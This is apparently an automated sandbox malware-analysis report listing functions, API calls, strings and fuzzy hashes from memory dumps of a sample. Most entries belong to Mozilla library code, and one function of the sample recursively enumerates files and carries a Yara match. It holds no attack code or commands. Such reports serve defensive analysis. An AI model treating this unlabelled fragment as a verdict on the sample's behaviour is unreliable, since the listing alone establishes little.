getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5D57CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5D5724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5D56E3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5D5749
MOZ_PROFILER_STARTUP, xrefs: 6C5D55E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C5D5511
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5D5791
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5D5D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5D57C5
[I %d/%d] profiler_init, xrefs: 6C5D564E
GeckoMain, xrefs: 6C5D5554, 6C5D55D5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5D5717
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5D5C56
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5D5766
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5D54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5D584E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5D5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5D5B38
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5D5CF9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5D548D
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5D57AE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5D5D01
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5D54B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5D5AC9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5D5BBE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5D5D1C

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction ID: 6d534aad34216bea5e323c1b59cbc5a2f3897b68fd067874a262c6bfcb87a6bf
Opcode Fuzzy Hash: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction Fuzzy Hash: 412206B0A047009FE700AF79C84466A77B1EF8734CF95C929E94697B41EB31A849CB5F

Function 6C5D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5D6D26

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5D6D73
free.MOZGLUE(00000000), ref: 6C5D6D80
CertGetNameStringW.CRYPT32 ref: 6C5D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5D6E34
CreateFileW.KERNEL32 ref: 6C5D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5D7103
free.MOZGLUE(00000000), ref: 6C5D7153
CloseHandle.KERNEL32(?), ref: 6C5D7176
__Init_thread_footer.LIBCMT ref: 6C5D7209
__Init_thread_footer.LIBCMT ref: 6C5D723A
__Init_thread_footer.LIBCMT ref: 6C5D726B
__Init_thread_footer.LIBCMT ref: 6C5D729C
__Init_thread_footer.LIBCMT ref: 6C5D72DC
__Init_thread_footer.LIBCMT ref: 6C5D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5D73C2
VerSetConditionMask.NTDLL ref: 6C5D73F3
VerSetConditionMask.NTDLL ref: 6C5D73FF
VerSetConditionMask.NTDLL ref: 6C5D7406
VerSetConditionMask.NTDLL ref: 6C5D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5D741A
moz_xmalloc.MOZGLUE(?), ref: 6C5D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5D7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5D7598
free.MOZGLUE(00000000), ref: 6C5D75AC

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

Strings

(, xrefs: 6C5D768A
SHA256, xrefs: 6C5D6EC0
wintrust.dll, xrefs: 6C5D72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C5D72C8

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: d9d1611bc70b2b67f2b808a7ba8d910240d395b0a1d3a1e161b42ec0584c6240
Instruction ID: 81113f8a6a90282bad42426eae7ddacb497895df6557e70750323d540c3c5d40
Opcode Fuzzy Hash: d9d1611bc70b2b67f2b808a7ba8d910240d395b0a1d3a1e161b42ec0584c6240
Instruction Fuzzy Hash: 5652F771A003159FEB21DF29CC84BAA77B8EF85708F118599E9099B640DB30BF85CF59

Function 6C600DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C600F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C600F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C600FB7
EnterCriticalSection.KERNEL32(?), ref: 6C600FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C601031
LeaveCriticalSection.KERNEL32(?), ref: 6C6010D0
EnterCriticalSection.KERNEL32(?), ref: 6C60117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C601C39
EnterCriticalSection.KERNEL32(6C64E744), ref: 6C603391
LeaveCriticalSection.KERNEL32(6C64E744), ref: 6C6033CD
LeaveCriticalSection.KERNEL32(?), ref: 6C603431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C603437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C603793
: (malloc) Unsupported character in malloc options: ', xrefs: 6C603A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6037A8
<jemalloc>, xrefs: 6C603941, 6C6039F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C603559, 6C60382D, 6C603848
Compile-time page size does not divide the runtime one., xrefs: 6C603946
MALLOC_OPTIONS, xrefs: 6C6035FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6037D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6037BD
MOZ_CRASH(), xrefs: 6C603950

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 71bed232386519d6fc572bd20463fdfae1e8c0c3ab8235cc508611e16b233e34
Instruction ID: bcbbc3892483b7fbe976a6511f1f06722e6382b14feb3429a0e28ec6d556b748
Opcode Fuzzy Hash: 71bed232386519d6fc572bd20463fdfae1e8c0c3ab8235cc508611e16b233e34
Instruction Fuzzy Hash: 8B537F71B057018FD708CF29C680615FBE1BF89328F29C6ADE869AB791D771E841CB85

Function 6C6234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623EE2

Part of subcall function 6C626180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6261DD
Part of subcall function 6C626180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C62622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624157

Part of subcall function 6C626180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C626250
Part of subcall function 6C626180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C62484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624896
free.MOZGLUE ref: 6C62489F

Strings

, xrefs: 6C624CD2

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e8cf5da075cbced52721bc1d16930d65f2486d653105f11d20f33cfc163f5087
Instruction ID: 425deda96fb47af931c991c5e30d7d9987df69aebf97534536190ece58baefe2
Opcode Fuzzy Hash: e8cf5da075cbced52721bc1d16930d65f2486d653105f11d20f33cfc163f5087
Instruction Fuzzy Hash: 34F24A74908B808FC725CF29C08469AFBF1FF8A348F118A5ED99997711DB719886CF46

Function 6C5D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D671C
GetCurrentProcess.KERNEL32 ref: 6C5D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5D672F
GetCurrentProcess.KERNEL32 ref: 6C5D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5D6A80
GetSystemInfo.KERNEL32(?), ref: 6C5D6ABE
__Init_thread_footer.LIBCMT ref: 6C5D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C5D6500
nvdxgiwrap.dll, xrefs: 6C5D6513
_etoured.dll, xrefs: 6C5D64ED
user32.dll, xrefs: 6C5D6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5D6798
detoured.dll, xrefs: 6C5D64DA

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b597d72641a96554e3f53d0522dfdd62da4833a1ef4f80e3dd3b0c196287cd00
Instruction ID: 5e06449eb7bac8b114ada78aea9c75b612b7234d7ae38690f2f207143a97b9d0
Opcode Fuzzy Hash: b597d72641a96554e3f53d0522dfdd62da4833a1ef4f80e3dd3b0c196287cd00
Instruction Fuzzy Hash: C6F1F470901319DFDB20DF29CC88B9AB7B4AF45308F0586D9D809A3641DB31BE86CF99

Function 010138B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 010138CC
FindFirstFileA.KERNEL32(?,?), ref: 010138E3
lstrcat.KERNEL32(?,?), ref: 01013935
StrCmpCA.SHLWAPI(?,01020F70), ref: 01013947
StrCmpCA.SHLWAPI(?,01020F74), ref: 0101395D
FindNextFileA.KERNEL32(000000FF,?), ref: 01013C67
FindClose.KERNEL32(000000FF), ref: 01013C7C

Strings

%s\%s, xrefs: 01013A6F
%s%s, xrefs: 01013AAD
%s\*, xrefs: 010138C0
%s\%s, xrefs: 0101397A
%s\%s\%s, xrefs: 01013A4A

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: c74609662c3c270abe370df8724b27a53b9fc4b112f854f47b637d58fc50d606
Instruction ID: 7a8de3eebd6ab357f5e8a8275d9be078786f83730fbb613c01d512d0f467d42d
Opcode Fuzzy Hash: c74609662c3c270abe370df8724b27a53b9fc4b112f854f47b637d58fc50d606
Instruction Fuzzy Hash: 54A182B5A402199BDB34DFA4DC88FEE7378BB58300F044588E64E9B148EB759B84CF61

Function 6C62C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C62C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C62C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C62C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C62CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C62DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C62DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C62DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C62E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C62E472

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 32bc0c6c7207c984a18dbeaf53193d54d342c16f9586cf0e023ab3e5caedc6b0
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: D633AC71E0021A8FCB04CFA8C8806EDBBF2FF89314F288269D955AB755D735A945CF94

Function 6C5EED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5F1A3E

Strings

~q\l, xrefs: 6C5EED10
~q\l, xrefs: 6C5EED13

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q\l$~q\l
API String ID: 3693777188-2638852642
Opcode ID: 3cc87a37cd7a193acaab4526e952fed9f256914400799ca6ee6f0be2392d7afd
Instruction ID: aef2ffe2e6d0abbeedd87e4e4e735b9fc8aa7e4612fb3fc06bc874db4394af7c
Opcode Fuzzy Hash: 3cc87a37cd7a193acaab4526e952fed9f256914400799ca6ee6f0be2392d7afd
Instruction Fuzzy Hash: E3B31C71E04219CFDB18CFA8C890A9DB7B2FF89304F1586A9D459AB745D730AD86CF90

Function 6C5DFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E7B8), ref: 6C5DFF81
LeaveCriticalSection.KERNEL32(6C64E7B8), ref: 6C5E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5E0240
EnterCriticalSection.KERNEL32(6C64E768), ref: 6C5E025B
LeaveCriticalSection.KERNEL32(6C64E768), ref: 6C5E027B

Strings

<jemalloc>, xrefs: 6C5E0D62, 6C5E0D76, 6C5E0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5E0D67, 6C5E0D7B, 6C5E0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5DFE99, 6C5DFEB7, 6C5DFED3, 6C5E0DB8, 6C5E0DD3, 6C5E19B4

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
